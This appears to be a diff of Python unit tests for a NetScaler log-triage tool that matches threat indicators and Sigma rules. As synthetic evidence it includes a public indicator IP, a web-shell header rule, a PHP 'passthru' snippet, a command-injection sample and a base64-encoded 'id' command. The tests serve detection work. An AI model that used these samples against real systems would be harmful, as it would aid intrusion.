self.assertTrue(crash.predicate({"raw": "first\npitboss packet engine;"}))
self.assertFalse(crash.predicate({"raw": "pitboss packet\nengine;"}))
self.assertFalse(crash.predicate({"raw": "pitboss engine packet;"}))
+69
View File
@@ -0,0 +1,69 @@
"""Bundled public references work offline without incident-specific configuration."""
import ipaddress
import json
import tempfile
import unittest
from pathlib import Path
from netscaler_triage.engine import scan
from netscaler_triage.matching import Matcher, load_config, public_config
class PublicDefaultsTests(unittest.TestCase):
def test_packaged_references_have_sources_and_only_public_addresses(self) -> None:
config = public_config()
sources = {row["id"] for row in config["sources"]}
self.assertGreaterEqual(len(sources), 37)
self.assertGreaterEqual(len(config["indicators"]), 35)
self.assertGreaterEqual(len(config["patterns"]), 9)
for indicator in config["indicators"]:
self.assertEqual(indicator["status"], "reference_only")
self.assertTrue(set(indicator["source_ids"]) <= sources)
if indicator["type"] == "ipv4":
self.assertTrue(ipaddress.ip_address(indicator["value"]).is_global)
def test_default_public_ioc_and_pattern_matching(self) -> None:
matcher = Matcher([])
_, indicators = matcher.search("peer 143.198.7.94:443")
self.assertTrue(any("mandiant" in row["source_ids"] for row in indicators))
_, _, details = matcher.search_with_details("HTTP_NSC_CLIENTTYPE")
self.assertTrue(any(row.get("name") == "ti_shell_headers" for row in details))
def test_explicit_duplicate_config_does_not_duplicate_matches(self) -> None:
text = "peer 143.198.7.94:443 HTTP_NSC_CLIENTTYPE"
self.assertEqual(Matcher([]).search(text), Matcher([public_config()]).search(text))
def test_default_opt_out_keeps_explicit_configuration(self) -> None:
text = "peer 143.198.7.94:443 HTTP_NSC_CLIENTTYPE"
self.assertEqual(Matcher([], defaults=False).search(text), ([], []))
self.assertTrue(Matcher([public_config()], defaults=False).search(text)[1])
def test_scan_without_config_retains_reference_provenance(self) -> None:
with tempfile.TemporaryDirectory() as temporary:
root = Path(temporary).resolve()
source = root / "logs"
source.mkdir()
(source / "network.log").write_text("peer 143.198.7.94:443\n", encoding="utf-8")
result = scan([("adc", source)], root / "out", [])
self.assertEqual(result["counts"]["findings"], 1)
event = json.loads((root / "out/findings.jsonl").read_text())
hit = next(row for row in event["indicator_matches"] if row["value"] == "143.198.7.94")
self.assertEqual(hit["status"], "reference_only")
self.assertIn("mandiant", hit["source_ids"])
def test_own_ioc_csv_can_be_reused_as_configuration(self) -> None:
with tempfile.TemporaryDirectory() as temporary:
root = Path(temporary).resolve()
source = root / "logs"
source.mkdir()
(source / "network.log").write_text("peer 143.198.7.94:443\n", encoding="utf-8")
scan([("adc", source)], root / "out", [])
config = load_config(root / "out/IOCS.csv")
_, hits = Matcher([config], defaults=False).search("peer 143.198.7.94:443")
hit = next(row for row in hits if row["value"] == "143.198.7.94")
self.assertEqual(hit["type"], "ipv4")
if __name__ == "__main__":
unittest.main()
+65
View File
@@ -0,0 +1,65 @@
"""Keep public package sources and release inclusion rules free of case data."""
import json
import re
import tomllib
import unittest
from importlib.resources import files
from pathlib import Path
class ReleaseHygieneTests(unittest.TestCase):
def test_public_package_and_explicit_release_allowlist(self) -> None:
package = files("netscaler_triage")
personal = re.compile(
r"/(?:Users|home)/[^\s/]+|[A-Za-z]:[\\/]Users[\\/][^\s\\/]+"
r"|(?im:^[ \t]*(?:Bearbeitung|Prepared by|Analyst|Investigator|Customer|Case ID)\s*:)"
)
stack = [package]
while stack:
directory = stack.pop()
for entry in directory.iterdir():
if entry.is_dir() and entry.name != "__pycache__":
stack.append(entry)
elif entry.name.endswith((".py", ".json", ".yml", ".yaml")):
self.assertIsNone(
personal.search(entry.read_text(encoding="utf-8")), entry.name
)
public = json.loads(package.joinpath("data", "threat_intel.json").read_text())
sources = {entry["id"] for entry in public["sources"]}
for indicator in public["indicators"]:
self.assertEqual(indicator["status"], "reference_only")
self.assertTrue(set(indicator["source_ids"]) <= sources)
# Installed-wheel tests lack repository metadata; package checks above still run.
project = Path(__file__).resolve().parents[1] / "pyproject.toml"
if project.is_file():
config = tomllib.loads(project.read_text(encoding="utf-8"))
allowed = {
"src/",
"tests/",
"typing_stubs/",
"examples/",
"README.txt",
"README.md",
"RULES.txt",
"VALIDATION.txt",
"THREAT_INTELLIGENCE.txt",
"LICENSE.txt",
"config/threat_intel.json",
"uv.lock",
".python-version",
".gitignore",
"pyproject.toml",
}
ignore = (project.parent / ".gitignore").read_text().splitlines()
self.assertTrue({"private/", "/private/"} & set(ignore))
included = set(config["tool"]["hatch"]["build"]["targets"]["sdist"]["include"])
self.assertFalse(any("private" in entry for entry in included))
self.assertTrue(
included <= allowed, f"Unreviewed release include entries: {included - allowed}"
)
if __name__ == "__main__":
unittest.main()
+86
View File
@@ -0,0 +1,86 @@
"""Regression checks for independent review findings; synthetic evidence only."""
import base64
import csv
import tempfile
import unittest
from pathlib import Path
from netscaler_triage.engine import scan
from netscaler_triage.matching import Matcher
class ReviewTests(unittest.TestCase):
def test_ipv4_with_port_and_embedded_address_boundary(self) -> None:
matcher = Matcher(
[{"indicators": [{"type": "ipv4", "value": "192.0.2.1"}]}],
defaults=False,
)
self.assertTrue(matcher.search("http://192.0.2.1:443/a")[1])
self.assertFalse(matcher.search("192.0.2.10:443")[1])
self.assertFalse(matcher.search("1192.0.2.1")[1])
def test_base64_query_without_percent_encoding(self) -> None:
with tempfile.TemporaryDirectory() as temporary:
root = Path(temporary).resolve()
source = root / "logs"
source.mkdir()
(source / "access.log").write_text(
"192.0.2.1 - - [01/Oct/2026:12:00:00 +0000] "
'"GET /test?x=aWQ= HTTP/1.1" 403 0 "-" "ordinary"\n',
encoding="utf-8",
)
result = scan(
[("appliance", source)],
root / "out",
[{"patterns": [{"id": "decoded_id", "pattern": "^id$"}]}],
defaults=False,
)
self.assertEqual(result["counts"].get("findings", 0), 1)
def test_authorized_status_survives_ioc_export(self) -> None:
with tempfile.TemporaryDirectory() as temporary:
root = Path(temporary).resolve()
source = root / "logs"
source.mkdir()
(source / "access.log").write_text(
"192.0.2.1 - - [01/Oct/2026:12:00:00 +0000] "
'"GET /test HTTP/1.1" 403 0 "-" "ordinary"\n',
encoding="utf-8",
)
scan(
[("appliance", source)],
root / "out",
[
{
"indicators": [
{"type": "ipv4", "value": "192.0.2.1", "status": "authorized_test"}
]
}
],
defaults=False,
)
with (root / "out/IOCS.csv").open(encoding="utf-8", newline="") as handle:
rows = list(csv.DictReader(handle))
match = next(row for row in rows if row["value"] == "192.0.2.1")
self.assertIn("authorized_test", match["status"])
def test_incomplete_decoding_marks_partial_analysis(self) -> None:
with tempfile.TemporaryDirectory() as temporary:
root = Path(temporary).resolve()
source = root / "logs"
source.mkdir()
payload = "x:" + base64.b64encode(b"hostname " * 50).decode() + "%20"
(source / "payload.log").write_text(payload + "\n", encoding="utf-8")
result = scan(
[("appliance", source)],
root / "out",
[{"patterns": [{"id": "candidate", "pattern": "^x:"}]}],
defaults=False,
max_line_bytes=1024,
)
self.assertEqual(result["status"], "partial")
if __name__ == "__main__":
unittest.main()
+105
View File
@@ -0,0 +1,105 @@
import json
import tempfile
import unittest
from pathlib import Path
from netscaler_triage.engine import scan
from netscaler_triage.matching import Matcher
class RuleDetailsTests(unittest.TestCase):
def test_shared_rule_keeps_both_source_descriptions_without_duplicate_regex(self) -> None:
matcher = Matcher(
[
{
"patterns": [
{
"id": "shared",
"pattern": "signal",
"description": "Source one",
"source": "REF-1",
},
{
"id": "shared",
"pattern": "signal",
"description": "Source two",
"source": "REF-2",
},
]
}
],
defaults=False,
)
self.assertEqual(len(matcher.rules), 1)
_, _, details = matcher.search_with_details("signal")
self.assertEqual({row["source"] for row in details}, {"REF-1", "REF-2"})
def test_default_descriptions_and_compatible_search(self) -> None:
matcher = Matcher([], defaults=True)
ids, hits = matcher.search("payload ;hostname")
detailed_ids, detailed_hits, details = matcher.search_with_details("payload ;hostname")
self.assertEqual((ids, hits), (detailed_ids, detailed_hits))
self.assertTrue(
any(row.get("name") == "command_injection" and row["description"] for row in details)
)
def test_same_id_does_not_attribute_unmatched_description(self) -> None:
matcher = Matcher(
[
{
"patterns": [
{
"id": "custom",
"pattern": "MATCH_ME",
"description": "Matched explanation",
"source": "https://example.org/source",
},
{
"id": "custom",
"pattern": "NEVER_MATCH",
"description": "Must not be attributed",
"source": "https://example.org/other",
},
]
}
],
defaults=False,
)
ids, _, details = matcher.search_with_details("MATCH_ME")
self.assertEqual(ids, ["custom"])
self.assertEqual(len(details), 1)
self.assertEqual(details[0]["description"], "Matched explanation")
self.assertEqual(details[0]["source"], "https://example.org/source")
def test_decoded_rule_metadata_reaches_findings(self) -> None:
with tempfile.TemporaryDirectory() as tmp:
root = Path(tmp).resolve()
logs = root / "logs"
logs.mkdir()
(logs / "http.log").write_text(
'192.0.2.1 - - [01/Oct/2026:12:00:00 +0000] "GET /?x=aWQ%3D HTTP/1.1" '
'404 0 "-" "ua"\n'
)
config = {
"patterns": [
{
"id": "decoded-id",
"pattern": "^id$",
"description": "The decoded value is the id command; execution is not "
"established.",
"source_id": "REF-1",
"source": "https://example.org/advisory",
}
]
}
scan([("ADC", logs)], root / "out", [config], defaults=False)
events = [
json.loads(line) for line in (root / "out/findings.jsonl").read_text().splitlines()
]
self.assertEqual(len(events), 1)
self.assertEqual(events[0]["rules"], ["decoded-id"])
self.assertEqual(events[0]["rule_details"], config["patterns"])
if __name__ == "__main__":
unittest.main()
+132
View File
@@ -0,0 +1,132 @@
import hashlib
import io
import json
import tempfile
import unittest
from contextlib import redirect_stderr, redirect_stdout
from importlib.resources import files
from pathlib import Path
from unittest.mock import patch
from netscaler_triage.cli import main
from netscaler_triage.engine import scan
from netscaler_triage.matching import Matcher, load_config, public_config
from netscaler_triage.sigma_rules import SigmaEvaluationLimit, SigmaMatcher
RULE = """title: Decoded command with request context
id: 283224da-7d4b-4436-a564-bf16e14b2536
logsource:
product: netscaler
service: http_access
detection:
selection:
uri|startswith: /vpn/
raw|re: '^id$'
excluded:
uri|endswith: /health?x=aWQ%3D
condition: selection and not excluded
falsepositives:
- Authorized diagnostic requests require analyst review.
level: medium
"""
def write_requests(logs: Path) -> None:
logs.mkdir()
lines = [
"192.0.2.1 - - [01/Oct/2026:12:00:00 +0000] "
f'"GET {uri} HTTP/1.1" 403 0 "-" "synthetic-agent"\n'
for uri in ("/vpn/test?x=aWQ%3D", "/vpn/health?x=aWQ%3D", "/other?x=aWQ%3D")
]
(logs / "httpaccess.log").write_text("".join(lines), encoding="utf-8")
def findings(output: Path) -> list[dict[str, object]]:
return [json.loads(line) for line in (output / "findings.jsonl").read_text().splitlines()]
class SigmaIntegrationTests(unittest.TestCase):
def test_cli_yaml_structured_context_decoded_and_negation(self) -> None:
with tempfile.TemporaryDirectory() as temporary:
root = Path(temporary).resolve()
logs, output, rules = root / "logs", root / "results", root / "rules.yml"
write_requests(logs)
rules.write_text(RULE, encoding="utf-8")
with redirect_stdout(io.StringIO()), redirect_stderr(io.StringIO()):
code = main(
[
"scan",
"--input",
f"ADC={logs}",
"--output",
str(output),
"--config",
str(rules),
"--no-default-patterns",
]
)
self.assertEqual(code, 0)
rows = findings(output)
matches = [row for row in rows if row.get("rules")]
self.assertEqual(len(matches), 1)
self.assertEqual(matches[0]["line"], 1)
details = matches[0]["rule_details"]
self.assertIsInstance(details, list)
assert isinstance(details, list)
self.assertTrue(any("decoded:" in str(detail["basis"]) for detail in details))
self.assertIn("sigma_decoded_views", matches[0])
self.assertTrue(all(detail["source"] == "rules.yml" for detail in details))
views, layers = matches[0]["sigma_decoded_views"], matches[0]["decoding"]
assert isinstance(views, list) and isinstance(layers, list)
for detail in details:
for basis in detail["basis"]:
if basis.startswith("decoded:"):
index = int(basis.split(":", 1)[1])
self.assertEqual(layers[views[index]]["output"], "id")
def test_decoded_sha256_is_a_structured_sigma_field(self) -> None:
with tempfile.TemporaryDirectory() as temporary:
root = Path(temporary).resolve()
logs, output, rules = root / "logs", root / "results", root / "hash.yml"
write_requests(logs)
digest = hashlib.sha256(b"id").hexdigest()
rules.write_text(
"title: Synthetic decoded hash\nlogsource: {product: netscaler}\n"
f"detection:\n selection:\n SHA256: '{digest}'\n condition: selection\n",
encoding="utf-8",
)
scan([("ADC", logs)], output, [load_config(rules)], defaults=False)
matched = [row for row in findings(output) if row.get("rules")]
self.assertEqual(len(matched), 3)
self.assertTrue(all("Synthetic decoded hash" in str(row["rules"]) for row in matched))
def test_public_pack_parses_and_loads_by_default(self) -> None:
content = files("netscaler_triage").joinpath("data", "public_sigma.yml").read_text()
pack = SigmaMatcher.from_yaml(content, source="public_sigma.yml")
self.assertGreaterEqual(len(pack.rules), 22)
self.assertEqual(pack.indicators, public_config()["indicators"])
matcher = Matcher([])
hits = matcher.search_sigma({"raw": "<?php passthru('synthetic');", "kind": "http_access"})
self.assertTrue(hits)
self.assertTrue(all(hit["source"] == "public_sigma.yml" for hit in hits))
def test_sigma_limit_marks_partial_and_continues(self) -> None:
with tempfile.TemporaryDirectory() as temporary:
root = Path(temporary).resolve()
logs, output = root / "logs", root / "results"
logs.mkdir()
(logs / "messages").write_text("first\nsecond\n", encoding="utf-8")
with patch.object(
Matcher, "search_sigma", side_effect=[SigmaEvaluationLimit("limit"), []]
):
result = scan([("ADC", logs)], output, [], defaults=False, extract_all=True)
self.assertEqual(result["status"], "partial")
self.assertEqual(result["counts"]["records"], 2)
self.assertEqual(result["counts"]["matching_errors"], 1)
rows = findings(output)
self.assertTrue(rows[0]["analysis_errors"])
self.assertEqual(rows[1]["raw"], "second")
if __name__ == "__main__":
unittest.main()
+173
View File
@@ -0,0 +1,173 @@
import unittest
from netscaler_triage.sigma_rules import SigmaEvaluationLimit, SigmaMatcher, UnsupportedSigma
def rule(detection: str, service: str = "") -> str:
return (
"title: Local test\nlogsource:\n product: netscaler\n"
+ service
+ "detection:\n"
+ detection
)
class SigmaTests(unittest.TestCase):
def test_catalog_not_repeated_in_hit(self) -> None:
text = rule(" s: [abc]\n condition: s\n")
text += "indicators:\n - type: ipv4\n value: 192.0.2.1\n status: reference_only\n"
text += "indicator_status: reference_only\n"
matcher = SigmaMatcher.from_yaml(text)
self.assertEqual(matcher.indicators[0]["value"], "192.0.2.1")
hit = matcher.search_with_details({"raw": "abc"})[0]
self.assertEqual(hit["custom_attributes"], {"indicator_status": "reference_only"})
with self.assertRaises(UnsupportedSigma):
SigmaMatcher.from_yaml(text.replace("value: 192.0.2.1", "value: 123"))
def test_evaluation_bounds(self) -> None:
matcher = SigmaMatcher.from_yaml(rule(" s: [abc]\n condition: s\n"))
with self.assertRaises(SigmaEvaluationLimit):
matcher.search({"raw": "x" * 1048577})
with self.assertRaises(SigmaEvaluationLimit):
matcher.search({"raw": "abc"}, ["abc"] * 65)
with self.assertRaises(SigmaEvaluationLimit):
matcher.search({"raw": "abc"}, ["x" * 1048577])
def test_boolean_and_keywords(self) -> None:
matcher = SigmaMatcher.from_yaml(
rule(
" selection: [alpha, beta]\n exclude: [benign]\n"
" condition: selection and not exclude\n"
)
)
self.assertTrue(matcher.search({"raw": "prefix ALPHA suffix"}))
self.assertFalse(matcher.search({"raw": "alpha benign"}))
self.assertFalse(matcher.search({"raw": "other"}))
def test_modifiers_fields_and_all(self) -> None:
matcher = SigmaMatcher.from_yaml(
rule(
" s:\n uri|startswith: /vpn/\n user_agent|contains|all: [curl, exploit]\n"
" source_ip|endswith: '.1'\n condition: s\n"
)
)
event = {"fields": {"uri": "/vpn/a", "user_agent": "CURL exploit", "src": "192.0.2.1"}}
self.assertTrue(matcher.search(event))
self.assertFalse(
matcher.search({"fields": {"uri": "/vpn/a", "user_agent": "curl", "src": "192.0.2.1"}})
)
def test_selectors_and_wildcard_escaping(self) -> None:
matcher = SigmaMatcher.from_yaml(
rule(
" sel_a: {uri: '/a*'}\n sel_b: {user_agent: 'agent?'}\n"
" condition: all of sel_*\n"
)
)
self.assertTrue(matcher.search({"uri": "/abcdef", "user_agent": "agentX"}))
self.assertFalse(matcher.search({"uri": "/abcdef", "user_agent": "agentXY"}))
matcher = SigmaMatcher.from_yaml(
rule(" sel_a: {uri: '/literal\\*'}\n sel_b: [other]\n condition: 1 of sel_*\n")
)
self.assertTrue(matcher.search({"uri": "/literal*"}))
self.assertFalse(matcher.search({"uri": "/literalanything"}))
def test_regex_service_and_decoded_basis(self) -> None:
matcher = SigmaMatcher.from_yaml(
rule(
" s:\n raw|re: '(?i)passthru\\s*\\('\n condition: s\n",
" service: http_access\n",
),
source="test.yml",
)
hits = matcher.search_with_details(
{"raw": "encoded bytes", "kind": "http_access"}, ["passthru('id')"]
)
self.assertEqual(hits[0]["basis"], ["decoded:0"])
self.assertEqual(hits[0]["source"], "test.yml")
self.assertFalse(matcher.search({"raw": "passthru('id')", "kind": "syslog"}))
def test_regex_case_is_not_string_case(self) -> None:
matcher = SigmaMatcher.from_yaml(rule(" s: {raw|re: Alpha}\n condition: s\n"))
self.assertTrue(matcher.search({"raw": "Alpha"}))
self.assertFalse(matcher.search({"raw": "alpha"}))
def test_structured_only_match_is_not_attributed_to_decoding(self) -> None:
matcher = SigmaMatcher.from_yaml(rule(" s: {SHA256: [abc, def]}\n condition: s\n"))
hits = matcher.search_with_details({"sha256": ["def"], "raw": "original"}, ["decoded"])
self.assertEqual(hits[0]["basis"], ["raw"])
def test_null_numeric_and_missing_fields(self) -> None:
matcher = SigmaMatcher.from_yaml(rule(" s: {status: 200, absent: null}\n condition: s\n"))
self.assertTrue(matcher.search({"status": 200}))
self.assertFalse(matcher.search({"status": "200"}))
self.assertFalse(matcher.search({"status": 200, "absent": "value"}))
def test_numeric_and_boolean_lists_preserve_types(self) -> None:
numeric = SigmaMatcher.from_yaml(rule(" s: {status: 403}\n condition: s\n"))
self.assertTrue(numeric.search({"status": [200, 403]}))
self.assertFalse(numeric.search({"status": ["403", True]}))
boolean = SigmaMatcher.from_yaml(rule(" s: {enabled: true}\n condition: s\n"))
self.assertTrue(boolean.search({"enabled": [False, True]}))
self.assertFalse(boolean.search({"enabled": [0, 1, "true"]}))
def test_limits_cannot_be_skipped_by_service_or_short_circuit(self) -> None:
matcher = SigmaMatcher.from_yaml(
rule(" s: {status: 200, uri: '*'}\n condition: s\n", " service: http_access\n")
)
for event in (
{"kind": "syslog", "raw": "x" * 1048577},
{"kind": "http_access", "status": 404, "uri": ["x" * 1048577]},
):
with self.subTest(kind=event["kind"]), self.assertRaises(SigmaEvaluationLimit):
matcher.search(event)
with self.assertRaises(SigmaEvaluationLimit):
matcher.search({"kind": "syslog"}, ["x" * 1048577])
def test_unused_metadata_is_not_traversed_and_used_lists_are_bounded(self) -> None:
matcher = SigmaMatcher.from_yaml(rule(" s: {status: 200}\n condition: s\n"))
self.assertTrue(matcher.search({"status": 200, "unrelated": ["x" * 1048577]}))
with self.assertRaises(SigmaEvaluationLimit):
matcher.search({"status": [200] * 10001})
def test_decoded_views_preserve_positive_and_negative_structured_context(self) -> None:
matcher = SigmaMatcher.from_yaml(
rule(
" s: {raw|contains: suspicious, uri|startswith: /vpn/}\n"
" excluded: {source_ip: '192.0.2.5'}\n"
" condition: s and not excluded\n"
)
)
event = {"raw": "encoded", "uri": "/vpn/check", "source_ip": "192.0.2.6"}
hits = matcher.search_with_details(event, ["suspicious"])
self.assertEqual(hits[0]["basis"], ["decoded:0"])
self.assertFalse(matcher.search({**event, "source_ip": "192.0.2.5"}, ["suspicious"]))
self.assertFalse(matcher.search({**event, "uri": "/health"}, ["suspicious"]))
def test_explicitly_unsupported(self) -> None:
for modifier in ("base64", "cidr", "exists", "fieldref", "cased"):
with self.subTest(modifier=modifier), self.assertRaises((UnsupportedSigma, ValueError)):
SigmaMatcher.from_yaml(rule(f" s:\n raw|{modifier}: abc\n condition: s\n"))
with self.assertRaises(UnsupportedSigma):
SigmaMatcher.from_yaml(rule(" s: [abc]\n condition: s\n", " service: windows\n"))
with self.assertRaises(UnsupportedSigma):
SigmaMatcher.from_yaml(
rule(" s: [abc]\n condition: s\n").replace("netscaler", "windows")
)
with self.assertRaises(UnsupportedSigma):
SigmaMatcher.from_yaml("title: Unsupported\ncorrelation: {type: event_count}\n")
with self.assertRaises(UnsupportedSigma):
SigmaMatcher.from_yaml(rule(" s: &selector [abc]\n condition: s\n"))
with self.assertRaises(UnsupportedSigma):
SigmaMatcher.from_yaml(rule(" s: [abc]\n s: [def]\n condition: s\n"))
def test_timeout(self) -> None:
matcher = SigmaMatcher.from_yaml(
rule(" s: {raw|re: '(a+)+$'}\n condition: s\n"), timeout=0.00001
)
with self.assertRaises(TimeoutError):
matcher.search({"raw": "a" * 50000 + "!"})
if __name__ == "__main__":
unittest.main()